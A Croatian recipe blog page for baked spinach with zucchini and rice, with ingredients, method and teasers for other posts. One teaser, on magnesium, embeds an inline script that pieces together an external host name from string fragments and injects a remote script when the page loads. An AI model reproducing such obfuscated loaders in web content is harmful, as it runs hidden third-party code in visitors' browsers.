ZAPEČENI ŠPINAT S TIKVICAMA





Zapečeni špinat s tikvicama 




Zapečeni špinat i tikvice možda zvuče skromno, ali - ne u ovoj verziji. Rža će ovom jelu dati bogatu teksturu, a kombinacija parmezana i Gruyèrea pun i zaokružen okus koji ga bez problema stavlja u središte stola, a ne samo kao prilog.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Zapečeni špinat s tikvicama 


Sastojci:

  • 50 g neslanog maslaca, rastopljenog (podijeljeno)
  • ekstra djevičansko maslinovo ulje
  • 6 stabljika mladog luka, narezanog
  • 450 g tikvica, narezanih na kolutove debljine 0,5 cm
  • 3 češnja češnjaka, protisnuta
  • 570 g smrznutog nasjeckanog špinata, odmrznutog
  • 180 g kuhane riže
  • 4 žlice svježeg bosiljka, nasjeckanog
  • 4 žlice svježeg peršina, nasjeckanog
  • ½ čajne žličice mljevenog muškatnog oraščića
  • 30 ml svježe iscijeđenog soka od limuna
  • sol
  • svježe mljeveni crni papar
  • 4 velika jaja
  • 180 ml vrhnja za kuhanje
  • 25 g svježe naribanog talijanskog parmezana, plus za posipanje
  • 55 g naribanog Gruyère sira
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  1. Zagrijte pećnicu na 175 stupnjeva.
  2. Namažite posudu za pečenje dimenzija s 2 žlice rastopljenog maslaca i ostavite sa strane.
  3. Zagrijte 2 žlice maslinovog ulja u velikoj tavi na srednje jakoj vatri. Dodajte mladi luk i tikvice te pirjajte 2 minute. Dodajte češnjak i pirjajte još minutu. Lagano istisnite većinu vode iz špinata i dodajte ga u tavu. Onda dodajte i rižu, bosiljak, peršin, muškatni oraščić, sok od limuna, 2 žličice soli i 1 žličicu papra. Dobro promiješajte pa prebacite u pripremljenu posudu za pečenje.
  4. U zdjeli za miješanje umutite jaja, vrhnje, preostale 2 žlice rastopljenog maslaca i ¼ šalice parmezana. Prelijte smjesu preko špinata i tikvica i zagladite. Pospite s još parmezana i Gruyèreom.
  5. Pecite dok nož umetnut u sredinu ne izađe čist, 20 do 30 minuta.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više